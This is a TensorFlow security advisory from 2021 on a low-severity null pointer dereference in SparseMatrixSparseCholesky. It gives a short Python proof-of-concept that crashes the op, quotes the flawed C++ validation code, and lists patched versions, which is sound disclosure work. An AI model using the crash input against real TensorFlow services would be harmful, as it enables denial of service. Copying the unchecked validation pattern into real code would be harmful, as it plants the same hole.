Invalid validation in `SparseMatrixSparseCholesky`

Low mihaimaruseac published GHSA-xcwj-wfcm-m23c on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky` :

```
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops

indices_array = np.array([[0, 0]])
value_array = np.array([-10.0], dtype=np.float32)
dense_shape = [1, 1]
st = tf.SparseTensor(indices_array, value_array, dense_shape)

input = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
       st.indices, st.values, st.dense_shape)

permutation = tf.constant([], shape=[1, 0], dtype=tf.int32)

tf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)
```

This is because the implementation fails to properly validate the input arguments:

```
void Compute(OpKernelContext* ctx) final {
  ...
  const Tensor& input_permutation_indices = ctx->input(1);
  ...
  ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);
  ...
}

void ValidateInputs(OpKernelContext* ctx,
    const CSRSparseMatrix& sparse_matrix,
    const Tensor& permutation_indices, int* batch_size,
    int64* num_rows) {
  OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)
  ...
}
```

Although `ValidateInputs` is called and there are checks in the body of this function, the code proceeds to the next line in `ValidateInputs` since `OP_REQUIRES` is a macro that only exits the current function.

```
#define OP_REQUIRES(CTX, EXP, STATUS)                     \
  do {                                                    \
    if (!TF_PREDICT_TRUE(EXP)) {                          \
      CheckNotInComputeAsync((CTX), "OP_REQUIRES_ASYNC"); \
      (CTX)->CtxFailure(__FILE__, __LINE__, (STATUS));    \
      return;                                             \
    }                                                     \
  } while (0)
```

Thus, the first validation condition that fails in `ValidateInputs` will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check `context->status()` or to convert `ValidateInputs` to return a `Status` .

Patches

We have patched the issue in GitHub commit e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

Weaknesses

No CWEs